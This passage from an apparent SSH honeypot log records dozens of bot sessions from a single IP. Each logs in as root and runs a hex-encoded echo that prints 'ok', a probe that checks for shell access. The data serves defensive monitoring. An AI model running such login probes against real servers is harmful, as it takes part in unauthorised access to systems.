  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a824af3a-2889-4adf-a119-44eeed628f00",
  "name": "sturdy-amiable-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53268,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:59.841825+00:00",
  "ended_at": "2026-08-23T09:04:01.881668+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4a3772ee-c4e4-4b9c-a4c1-6a3f468fff87",
  "name": "rapid-spirited-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58764,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:58.120899+00:00",
  "ended_at": "2026-08-23T09:03:59.165524+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c3e275fd-5777-4868-8392-d9bb01173102",
  "name": "jovial-feral-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58758,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:55.560652+00:00",
  "ended_at": "2026-08-23T09:03:57.335729+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "48652954-04f6-4c60-9b0e-db303f195625",
  "name": "scarlet-tangled-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58754,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:53.219072+00:00",
  "ended_at": "2026-08-23T09:03:54.871333+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a2f3656c-00ee-42c8-9516-68d84454a6c2",
  "name": "umber-genial-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58746,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:51.097123+00:00",
  "ended_at": "2026-08-23T09:03:52.551421+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "50610d85-9cf6-42fd-befa-cce872e802f4",
  "name": "vivid-twilight-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58736,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:49.094945+00:00",
  "ended_at": "2026-08-23T09:03:50.268988+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "91f6dd97-bd7f-4fb5-8691-9484af46671b",
  "name": "icy-wooded-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38800,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:47.059792+00:00",
  "ended_at": "2026-08-23T09:03:48.410032+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8d37fe0d-8cf8-4cf2-8fd6-da707ba1432a",
  "name": "polar-jolly-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38792,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:44.232822+00:00",
  "ended_at": "2026-08-23T09:03:46.238488+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "164465c4-b879-4e3f-97c4-965574803418",
  "name": "genial-twilight-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38790,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:41.517028+00:00",
  "ended_at": "2026-08-23T09:03:43.528127+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ba7ed532-9d25-4abe-af50-c81aafde7312",
  "name": "wooded-quaint-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38788,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:39.601308+00:00",
  "ended_at": "2026-08-23T09:03:40.815736+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c212f57e-af9d-4457-81f7-841463f52dc0",
  "name": "barren-muted-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57474,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:37.293747+00:00",
  "ended_at": "2026-08-23T09:03:38.762280+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cf58964f-0e45-4ccc-aa01-6f8057c7a6b0",
  "name": "golden-oaken-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:34.838358+00:00",
  "ended_at": "2026-08-23T09:03:36.575841+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3a02c8a3-9f1d-4578-afec-f17697b918b8",
  "name": "whispering-eager-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57448,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:33.117956+00:00",
  "ended_at": "2026-08-23T09:03:34.101835+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2b445522-49df-47b6-a364-ac0b7986ad2c",
  "name": "steady-hollow-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57442,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:30.528937+00:00",
  "ended_at": "2026-08-23T09:03:32.316125+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9def5252-09d1-437b-9298-55fd52e4c839",
  "name": "hardy-loyal-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55264,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:27.480985+00:00",
  "ended_at": "2026-08-23T09:03:29.746165+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fe3b9e2c-7909-4556-a029-f056b1d2d394",
  "name": "wry-kindly-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:24.640802+00:00",
  "ended_at": "2026-08-23T09:03:26.828499+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3c0f10dc-914b-4e9a-aad9-8874a774846f",
  "name": "lawful-patient-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55234,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:22.189222+00:00",
  "ended_at": "2026-08-23T09:03:23.940090+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2e0d2797-d57d-4b28-834d-3a20e0d075c3",
  "name": "obsidian-early-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:19.132454+00:00",
  "ended_at": "2026-08-23T09:03:21.400817+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c2f4fd0d-a112-410d-a9d4-53cc272c49bd",
  "name": "daring-indigo-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34382,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:17.463823+00:00",
  "ended_at": "2026-08-23T09:03:18.450042+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f0a03dbf-f249-4f71-9617-9bb627613d05",
  "name": "chilly-plush-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:14.948246+00:00",
  "ended_at": "2026-08-23T09:03:16.770677+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "14062c9f-927e-46b8-9c89-ade4185f832d",
  "name": "pewter-noble-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:12.269837+00:00",
  "ended_at": "2026-08-23T09:03:14.268675+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e37cba96-7243-44b4-a528-99323c9dd92f",
  "name": "granite-forlorn-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34348,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:09.862220+00:00",
  "ended_at": "2026-08-23T09:03:11.567484+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "137e465d-3245-4200-a539-55485c39fd2b",
  "name": "serene-loyal-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53120,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:07.188274+00:00",
  "ended_at": "2026-08-23T09:03:09.113212+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "109767b1-dcf7-498d-bfc4-893046aaf136",
  "name": "austere-prickly-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53108,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:03.511629+00:00",
  "ended_at": "2026-08-23T09:03:06.423854+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c7af55c6-a9c7-43a5-b19f-aabc69172c12",
  "name": "civil-crisp-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53098,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:03:01.707155+00:00",
  "ended_at": "2026-08-23T09:03:02.810075+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6d5e1299-2888-47d4-be6f-cb2f206dd4e1",
  "name": "fringed-nimble-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53096,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:59.563256+00:00",
  "ended_at": "2026-08-23T09:03:00.959041+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8330c67c-bc1d-47ae-82aa-55023f2c3d25",
  "name": "sullen-ginger-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51502,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:57.186446+00:00",
  "ended_at": "2026-08-23T09:02:58.943613+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "98f9abeb-070e-4304-bd15-08e10c6db0f8",
  "name": "jolly-obsidian-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:54.430931+00:00",
  "ended_at": "2026-08-23T09:02:56.476675+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2066093b-a5b7-4eec-ab74-3ea0e356f846",
  "name": "snowy-proud-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51486,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:51.517833+00:00",
  "ended_at": "2026-08-23T09:02:53.787826+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7ae5543e-10f1-46ba-9323-e58c9f003848",
  "name": "misty-crystal-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51474,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:49.784254+00:00",
  "ended_at": "2026-08-23T09:02:50.859678+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "11d21e91-8a0c-4e02-a747-56d71ce191e5",
  "name": "tranquil-restless-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:47.602961+00:00",
  "ended_at": "2026-08-23T09:02:48.962867+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dd4e568e-e382-424d-99fe-1f361fd7d958",
  "name": "creaky-prairie-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:44.890451+00:00",
  "ended_at": "2026-08-23T09:02:46.789127+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1319c8e3-7608-4032-a9e6-03e7d6579248",
  "name": "quartz-ivory-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:42.691119+00:00",
  "ended_at": "2026-08-23T09:02:44.097008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "16d4fb9d-e47d-4efa-8e92-6df06f318200",
  "name": "placid-jolly-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55544,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:40.793878+00:00",
  "ended_at": "2026-08-23T09:02:42.004754+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9118f057-c73f-471a-a895-b1398812d627",
  "name": "amiable-fickle-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44326,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:38.203129+00:00",
  "ended_at": "2026-08-23T09:02:40.129021+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "51d679ce-6837-4cbf-82ee-3c8c268f0d44",
  "name": "freckled-solemn-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44318,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:35.470866+00:00",
  "ended_at": "2026-08-23T09:02:37.576767+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dfd2503f-5696-4d5f-bd1f-5f8e26abf049",
  "name": "northern-sullen-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44316,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:30.782567+00:00",
  "ended_at": "2026-08-23T09:02:34.663952+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9fafe9a5-e317-4a2d-bcf5-8ba59a003711",
  "name": "mindful-shifting-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47560,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:26.854181+00:00",
  "ended_at": "2026-08-23T09:02:30.155857+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "12344991-29c9-43f4-aff7-e29e435b335b",
  "name": "chilly-courtly-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47548,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:24.783646+00:00",
  "ended_at": "2026-08-23T09:02:26.109449+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "22d9f54d-6738-4c5f-8f0a-399b1a523f7d",
  "name": "cosmic-rugged-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:23.053631+00:00",
  "ended_at": "2026-08-23T09:02:24.118724+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "da0e1dd8-823b-46dd-b467-0b38370483b4",
  "name": "lonesome-daring-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47534,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:21.390474+00:00",
  "ended_at": "2026-08-23T09:02:22.339676+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "27354efd-95b9-4475-b5e0-654d02a6c121",
  "name": "feathered-frugal-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59396,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:18.625244+00:00",
  "ended_at": "2026-08-23T09:02:20.663275+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e0869095-f00a-4fa0-8845-2ecd6e868bdf",
  "name": "icy-hushed-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:16.752282+00:00",
  "ended_at": "2026-08-23T09:02:17.885092+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c0ba36fd-bdbf-467e-b17c-d812244fc70a",
  "name": "chilly-sturdy-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59372,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:14.330208+00:00",
  "ended_at": "2026-08-23T09:02:15.947929+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dce9d8b4-93b6-4573-a859-4c3c2f255128",
  "name": "smooth-rugged-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59366,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:11.585759+00:00",
  "ended_at": "2026-08-23T09:02:13.680437+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d31e5120-2e20-479e-a25d-cc6a41fa2d0a",
  "name": "distant-ruddy-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59352,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:08.878192+00:00",
  "ended_at": "2026-08-23T09:02:10.920972+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6dcf18ba-f5c6-457d-b89c-fdc70d216f75",
  "name": "amiable-flinty-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54120,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:06.933176+00:00",
  "ended_at": "2026-08-23T09:02:08.194828+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2cd2c839-e2e5-49fb-abbd-7d36fb52ed04",
  "name": "thorny-coastal-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54112,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:04.938241+00:00",
  "ended_at": "2026-08-23T09:02:06.300266+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5c9a15d3-dd61-452c-9985-e0c18bb60780",
  "name": "solemn-stoic-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54098,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:02.812826+00:00",
  "ended_at": "2026-08-23T09:02:04.189039+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8b89807b-40ef-4009-8a69-cca90a3ef79b",
